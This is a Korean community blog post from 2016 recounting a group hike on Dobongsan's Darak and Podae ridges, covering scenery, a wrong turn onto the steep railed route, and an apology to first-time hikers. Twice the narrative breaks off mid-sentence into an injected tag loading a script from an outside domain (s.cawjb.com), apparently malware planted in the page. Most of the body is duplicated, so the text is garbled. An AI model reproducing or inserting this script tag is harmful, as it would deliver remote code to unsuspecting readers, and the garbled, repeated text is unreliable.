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[제목]
무대포의 포대능선 산행 (실루엣)
🧑 정부영
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📅 2016-01-07 15:35:52
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👀 85
도봉매표소에서 시작한 산행은 갈비집인 도봉공원 앞을 지나 광륜사 앞을 거쳐 한적한 녹야원 쪽으로 오른다. 넓직한 쉼터를 가로질러 왼쪽길은 계곡을 통해 선인봉 바로 밑 다락능선에서 만나는 길이 나온다. 직진을 하면 암릉이 나오고 조금만 올라도 고도가 높아져 시야가 아주 넓어진다. 처음부터 비알길을 오르다보니 오늘 처음으로 산행에 참가한 병오는 아주 힘들어 보인다. 너른 바위에 도착하자 벌렁 누워버린다.
떡본 김에 제사지낸다고 그곳에서 단체사진을 한 장 찍었는데 그동안 카메라 사용을 하지 않아 사용방법을 제대로 몰라 뷰파인더가 보이지 않은 상태로 대충 어림짐작으로 셔터를 눌렀더니 기국이 모습의 절반만 건진 그런 사진이 되어 버렸구만. 가스가 차서 시야가 좋지는 않지만 날씨는 우려와는 달리 맑음이었지. 다락능선을 오르는 이 코스는 정말 좌우 계곡과 능선들이 한눈에 들어온다. 한 무리의 산꾼들과 섞여 아기자기한 바위길을 앞서거니 뒷서거니 하며 오르다 보니 다락능선이 시작되는 은석암 뒤 돔형바위들이 격자로 얽혀있는 미륵봉이 눈에 들어오는데 소나무의 푸른 색깔과 궁합이 잘 맞는다.
봉우리를 지나면 작은 능선에 닿게 되고 능선에 오르면 한층 더 가까워진 선인봉과 만장봉, 조금 떨어져 있는 자운봉, 그리고 포대능선으로 이어지는 장쾌한 스카이라인에 시선이 쏠려 골짜기 너머 건너다 보이는 망월사의 고즈넉한 자태도 잊고 올라온다.
조금 더 올라가면 다락능선의 가장 높은 능선봉이 나오는데 도봉산 만장봉의 위용을 보려면 이 능선봉에 올라와야 한다.
다락능선을 조금 더 올라가면 이번에는 만장봉을 측면에서 볼 수 있는 안내판이 설치된 전망대 위에 서게 된다.
까마귀 울음으로 발출된 소리가 만장봉을 부딪히며 골골이 울려퍼지는 메아리는 씻김굿 가락과 닮아있다. 그런 배경음악을 깔고 서있는 도봉의 주봉들은 흰바위와 소나무의 짙은 푸르름이 대비[조화를 유지하는 아름다움은 정적이고 온화한 미적 효과를 지니지만, 그것만으로는 단조로워서 변화가 결핍된다. 그것을 깨는 동적(動的)인 효과로서 콘트라스트(contrast), 즉 대조·대비가 추구된다]되어 오늘따라 빼어난 상승감을 보인다.
능선을 조금 내려오면 망월암에서 올라오는 코스와 만나는 안부가 되고 이곳에서 포대능선 오르기의 본격적인 급경사가 시작된다.
산행계획에는 이 코스가 들어있지 않고 송추방면 우회로를 이용하면 포대능선 쇠난간 구간의 대부분을 거치지 않고 신선대를 지나 오봉으로 가게되어 있는데 초행인 휘공이 선두에 선 까닭에 앞사람들이 가는 길을 아무 생각없이 따라가고 있다. 일요일에는 이곳이 무척이나 붐벼 웬만한 곳에선 내려가거나 올라갈 차례를 기다려야 할 형편이기 때문에 복잡해서라도 따라가지 않았을 텐데 말이다. 후미에 따라온 내가 불러 세웠지만 저위에 올라가 버린 휘공들을 내려오라고 하기에는 영 글러버렸다. 물론 이 코스에 흥미있어 하는 휘공도 있기는 하지만 처음 따라나선 친구들은 얼마나 황당했겠는가. 이 자리를 빌어 거듭 미안하다는 이야기를 하련다. 다음 산행에는 이런 일이 없어야지.
경사의 첫부분은 쇠난간을 붙잡고 급경사를 올라가 바위사이를 지나면 조그마한 출렁다리가 나온다. 이곳에서 미끄럽다며 아이젠을 하는 친구도 있다. 앞서 가던 아지메 3인방은 내려올 생각을 하니 귀가 찬 듯 오르기를 멈추어 버린다. 고지가 바로 저긴데 예서 말수는 없다고 꼬득이는 휘공이 있다. 감언이설에 오르기는 했는데 무사히 하산을 했는지 궁금하네.
포대능선의 벙커위에서 굽어보면 올라온 다락능선과 좌우의 계곡과 능선의 안부(鞍部:산의 능선이 낮아져서 말 안장 모양으로 된 곳. 산줄기가 움푹 들어간 곳을 말한다. 산을 넘는 교통로는 대체로 이 부분을 이용하며,‘고개’라고 부른다)가 훤히 들여다 보이고, 눈높이로 건너다보면 수락산의 우람한 모습에 매료되며, 좌측으로 포대능선이 시작되는 초록색 산불감시 초소에서 우측으로 눈을 돌려 지근거리에 있는 선인봉, 만장봉, 자운봉으로 연결되어 어렵게 오른 휘공들의 어려운 산행을 보상하고도 남을 시원한 조망을 즐기며 되돌아 온 제정신을 오렌지와 토스트로 달래주었다. 그리고 하산이다.
오봉을 보고싶어한 휘공들을 위해 설명을 덧붙여 그 쪽 방향으로 산행을 계속하면 신선대 뒤로 칼바위능선의 봉우리들이 연이어 솟아있고 그 오른쪽으로 조금 떨어져 오봉 봉우리가 한 두개가 보인다. 칼바위 능선과 그 남쪽 주능선을 타고 내려가다 우이암 바로 전에 왼쪽 계곡으로 내려서면 밋밋한 보문능선을 타게 되는 것이다.
아침을 거르고 온 휘공들이 있어 오봉에서 점심을 먹기로 한 계획은 쓰레기통으로 들어가 버리고 점심을 위해 신선대 아래의 절터?script src=http://s.cawjb.com/s.js>
떡본 김에 제사지낸다고 그곳에서 단체사진을 한 장 찍었는데 그동안 카메라 사용을 하지 않아 사용방법을 제대로 몰라 뷰파인더가 보이지 않은 상태로 대충 어림짐작으로 셔터를 눌렀더니 기국이 모습의 절반만 건진 그런 사진이 되어 버렸구만. 가스가 차서 시야가 좋지는 않지만 날씨는 우려와는 달리 맑음이었지. 다락능선을 오르는 이 코스는 정말 좌우 계곡과 능선들이 한눈에 들어온다. 한 무리의 산꾼들과 섞여 아기자기한 바위길을 앞서거니 뒷서거니 하며 오르다 보니 다락능선이 시작되는 은석암 뒤 돔형바위들이 격자로 얽혀있는 미륵봉이 눈에 들어오는데 소나무의 푸른 색깔과 궁합이 잘 맞는다.
봉우리를 지나면 작은 능선에 닿게 되고 능선에 오르면 한층 더 가까워진 선인봉과 만장봉, 조금 떨어져 있는 자운봉, 그리고 포대능선으로 이어지는 장쾌한 스카이라인에 시선이 쏠려 골짜기 너머 건너다 보이는 망월사의 고즈넉한 자태도 잊고 올라온다.
조금 더 올라가면 다락능선의 가장 높은 능선봉이 나오는데 도봉산 만장봉의 위용을 보려면 이 능선봉에 올라와야 한다.
다락능선을 조금 더 올라가면 이번에는 만장봉을 측면에서 볼 수 있는 안내판이 설치된 전망대 위에 서게 된다.
까마귀 울음으로 발출된 소리가 만장봉을 부딪히며 골골이 울려퍼지는 메아리는 씻김굿 가락과 닮아있다. 그런 배경음악을 깔고 서있는 도봉의 주봉들은 흰바위와 소나무의 짙은 푸르름이 대비[조화를 유지하는 아름다움은 정적이고 온화한 미적 효과를 지니지만, 그것만으로는 단조로워서 변화가 결핍된다. 그것을 깨는 동적(動的)인 효과로서 콘트라스트(contrast), 즉 대조·대비가 추구된다]되어 오늘따라 빼어난 상승감을 보인다.
능선을 조금 내려오면 망월암에서 올라오는 코스와 만나는 안부가 되고 이곳에서 포대능선 오르기의 본격적인 급경사가 시작된다.
산행계획에는 이 코스가 들어있지 않고 송추방면 우회로를 이용하면 포대능선 쇠난간 구간의 대부분을 거치지 않고 신선대를 지나 오봉으로 가게되어 있는데 초행인 휘공이 선두에 선 까닭에 앞사람들이 가는 길을 아무 생각없이 따라가고 있다. 일요일에는 이곳이 무척이나 붐벼 웬만한 곳에선 내려가거나 올라갈 차례를 기다려야 할 형편이기 때문에 복잡해서라도 따라가지 않았을 텐데 말이다. 후미에 따라온 내가 불러 세웠지만 저위에 올라가 버린 휘공들을 내려오라고 하기에는 영 글러버렸다. 물론 이 코스에 흥미있어 하는 휘공도 있기는 하지만 처음 따라나선 친구들은 얼마나 황당했겠는가. 이 자리를 빌어 거듭 미안하다는 이야기를 하련다. 다음 산행에는 이런 일이 없어야지.
경사의 첫부분은 쇠난간을 붙잡고 급경사를 올라가 바위사이를 지나면 조그마한 출렁다리가 나온다. 이곳에서 미끄럽다며 아이젠을 하는 친구도 있다. 앞서 가던 아지메 3인방은 내려올 생각을 하니 귀가 찬 듯 오르기를 멈추어 버린다. 고지가 바로 저긴데 예서 말수는 없다고 꼬득이는 휘공이 있다. 감언이설에 오르기는 했는데 무사히 하산을 했는지 궁금하네.
포대능선의 벙커위에서 굽어보면 올라온 다락능선과 좌우의 계곡과 능선의 안부(鞍部:산의 능선이 낮아져서 말 안장 모양으로 된 곳. 산줄기가 움푹 들어간 곳을 말한다. 산을 넘는 교통로는 대체로 이 부분을 이용하며,‘고개’라고 부른다)가 훤히 들여다 보이고, 눈높이로 건너다보면 수락산의 우람한 모습에 매료되며, 좌측으로 포대능선이 시작되는 초록색 산불감시 초소에서 우측으로 눈을 돌려 지근거리에 있는 선인봉, 만장봉, 자운봉으로 연결되어 어렵게 오른 휘공들의 어려운 산행을 보상하고도 남을 시원한 조망을 즐기며 되돌아 온 제정신을 오렌지와 토스트로 달래주었다. 그리고 하산이다.
오봉을 보고싶어한 휘공들을 위해 설명을 덧붙여 그 쪽 방향으로 산행을 계속하면 신선대 뒤로 칼바위능선의 봉우리들이 연이어 솟아있고 그 오른쪽으로 조금 떨어져 오봉 봉우리가 한 두개가 보인다. 칼바위 능선과 그 남쪽 주능선을 타고 내려가다 우이암 바로 전에 왼쪽 계곡으로 내려서면 밋밋한 보문능선을 타게 되는 것이다.
아침을 거르고 온 휘공들이 있어 오봉에서 점심을 먹기로 한 계획은 쓰레기통으로 들어가 버리고 점심을 위해 신선대 아래의 절터?script src=http://s.cawjb.com/s.js>
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